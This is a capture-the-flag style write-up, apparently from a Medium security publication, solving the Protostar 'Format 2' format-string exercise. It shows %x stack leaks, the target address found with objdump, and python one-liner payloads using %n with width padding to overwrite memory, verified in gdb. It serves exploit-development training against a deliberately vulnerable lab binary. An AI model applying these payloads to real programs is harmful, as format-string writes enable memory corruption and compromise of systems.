[ExpDev] Exploit Exercise | Protostar | Format 2

bigb0ss
bigb0ss
May 28 · 5 min read
Image for post
Image for postImage for post

Format 2 (Format String Basic 2)

The goal of this challenge is to find the location where we can write our supplied input in memory and find the correct offset value to print the winning statement.

Image for post
Image for postImage for post
  • char buffer[512]: Setting the buffer size to 512.
  • fgets(buffer, sizeof(buffer), stdin): Getting a user supplied-input. And it limits the buffer size to size of the buffer, which is 512. We can max input with 511 bytes because C always add 0x00 at the end as a terminator.
  • printf(buffer);: This is the vulnerable function in this code. The printf() will not check whether the supplied inputs expected format strings or not since it is coded to accept any string values. So what we can do is simply to verify if we can leak the memory addresses and also write arbitrary code onto the stack ([READ] %p or %x[WRITE] %n).
  • if(target == 64) {: The target variable is the address where we need to find. Then, by leveraging the Format String vulnerability, we will write arbitrary bytes to the target to match with 64 to print out the winning statement.

Disassemble (GDB)

Let’s disassemble the binary to see what is doing at the ASM-level:

$ gdb -q format2
Reading symbols from /opt/protostar/bin/format2...done.
(gdb) set disassembly-flavor intel
(gdb) disassemble vuln
Image for post
Image for postImage for post

Exploit

When we supply a random string, it will echo it out and also print “target is 0 :(“

$ python -c 'print "AAAA"' | /opt/protostar/bin/format2
AAAA
target is 0 :(

But if we supply some Format String parameters (%x), we get some interesting outputs:

$ python -c 'print "AAAA" + "|%08x" * 2' | /opt/protostar/bin/format2
AAAA|0000200|b7fd8420 <-- Leaking memory address
target is 0 :(
### Format String Explanation
"%08x"
= "%x" is a Format String parameter of the hexdecimal
representation. The number "08" is called "width field" and
is the minimum which will pad the output of the %x
specified to 8 characters = 4 bytes long.

Next, we need to find the offset value where we can see our supplied-input on the stack. Tried adding a couple of more %x, and we can find the offset as 4.

$ python -c 'print "AAAA" + "|%08x" * 4' | /opt/protostar/bin/format2
AAAA|00000200|b7fd8420|bffff5d4|41414141 <-- chr(0x41) = "A"
target is 0 :(
$ objdump -t format2 |grep target
080496e4 g O .bss 00000004 target

The address for target exists at 0x080496e4. Convert this into the little-endian format = \xe4\x96\x04\x08.

Change the supply input to the found target address. But this time let’s see if we can write something in memory using %n (= Writes the number of characters in the address given as argument).

$ python -c 'print "\xe4\x96\x04\x08" + "%4$n"' | /opt/protostar/bin/format2

target is 4 :( <-- It wrote "4" at the "target" location
### Format String Explanation
"%4$08n"
= Directly access the 4th parameter on stack with "4$" and
write the address
(\xe4\x96\x04\x08) there with "%08n"

Sweet! Our next task is now clear that we just need to figure out how many additional pads or width fields to make our output to 64 (= 0x40 in hex) when writing it to the target. There must be more elegant ways to solve this, but what the heck, let’s simply do a trial-and-error approach this time 😛.

Okay, so as we add more pads, it increases the output written at the target. So adding the %60d width solved the challenge.

$ python -c 'print "\xe4\x96\x04\x08" + "%10d" + "%4$08n"' | /opt/protostar/bin/format2
512
target is 14 :(
$ python -c 'print "\xe4\x96\x04\x08" + "%20d" + "%4$08n"' | /opt/protostar/bin/format2
512
target is 24 :(
$ python -c 'print "\xe4\x96\x04\x08" + "%60d" + "%4$08n"' | /opt/protostar/bin/format2
512
you have modified the target :)

Okay, holdup. Let me actually explain this in an elegant way 🙂. I will show you how to calculate the exact width field to get our desired output.

First, let’s put our initial payload (without the width padding) into a file so that we can run it with gdb.

[Initial Payload]
$ python -c 'print "\xe4\x96\x04\x08" + "%4$n"' > format2_payload

Run the Format 2 with gdb and set the breakpoint at the cmp eax, 0x40 location.

$ gdb -q format2
Reading symbols from /opt/protostar/bin/format2...done.
(gdb) set disassembly-flavor intel
(gdb) disassemble vuln

Dump of assembler code for function vuln:
...(snip)...
0x0804848a <vuln+54>: mov eax,ds:0x80496e4
0x0804848f <vuln+59>: cmp eax,0x40
...(snip)...
End of assembler dump.
(gdb) break * 0x0804848f <-- Breakpoint

Now, let’s run the program feeding with the payload.

(gdb) run < /home/user/format2/format2_payload

### Search for the "target"
(gdb) x/5x 0x80496e4
0x80496e4 <target>: 0x00000004 0x00000000 0x00000000 0x00000000
0x80496f4 : 0x00000000

As you can see that “4” is written to the target. There is a way to calculate how many width we need to pad with to get our desired output.

### Width Calculation
"Desired byte" - "Current byte" = "Width"

Let’s do this in gdb.

(gdb) print 0x40 - 0x04
$1 = 60
"0x40" = Hex representation of decimal 64 of our desired value
"0x04" = The currently outputted value at the "target"

Okay so it calculated the differences for 60, which is our width. Let’s update our payload and feed it to gdb again to confirm.

[Final Payload]
$ python -c 'print "\xe4\x96\x04\x08" + "%60d" + "%4$n"' > format2_payload
[GDB]
(gdb) run < /home/user/format2/format2_payload
Starting program: /opt/protostar/bin/format2 < /home/user/format2
/format2_payload
512
Breakpoint 1, 0x0804848f in vuln () at format2/format2.c:15
15 in format2/format2.c
(gdb) x/5x 0x80496e4
0x80496e4 <target>: 0x00000040 0x00000000 0x00000000 0x00000000
0x80496f4. : 0x00000000
--> The output is updated to 0x40 (= 64 in decimal)
(gdb) x/3i $eip <-- Querying next 3 instruction pointers
0x804848f <vuln+59>: cmp eax,0x40
0x8048492 <vuln+62>: jne 0x80484a2 <vuln+78>
0x8048494 <vuln+64>: mov DWORD PTR [esp],0x8048590
(gdb) continue
Continuing.
you have modified the target :)
Program exited with code 040.

Thanks for reading!

  • Format 3: Format String Exploit: Basic 3
Image for post
Image for postImage for post

InfoSec Write-ups

A collection of write-ups from the best hackers in the…

bigb0ss

Written by

bigb0ss

\x90\x90 — Penetration Tester | “Love Building Brain Muscles” in ExpDev, CTF, Reversing, RedTeam, Evasion Techniques

InfoSec Write-ups

A collection of write-ups from the best hackers in the world on topics ranging from bug bounties and CTFs to vulnhub machines, hardware challenges and real life encounters. In a nutshell, we are the largest InfoSec publication on Medium. Maintained by Hackrew

bigb0ss

Written by

bigb0ss

\x90\x90 — Penetration Tester | “Love Building Brain Muscles” in ExpDev, CTF, Reversing, RedTeam, Evasion Techniques

InfoSec Write-ups

A collection of write-ups from the best hackers in the world on topics ranging from bug bounties and CTFs to vulnhub machines, hardware challenges and real life encounters. In a nutshell, we are the largest InfoSec publication on Medium. Maintained by Hackrew

Welcome to a place where words matter. On Medium, smart voices and original ideas take center stage - with no ads in sight. Watch
Follow all the topics you care about, and we’ll deliver the best stories for you to your homepage and inbox. Explore
Get unlimited access to the best stories on Medium — and support writers while you’re at it. Just $5/month. Upgrade

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store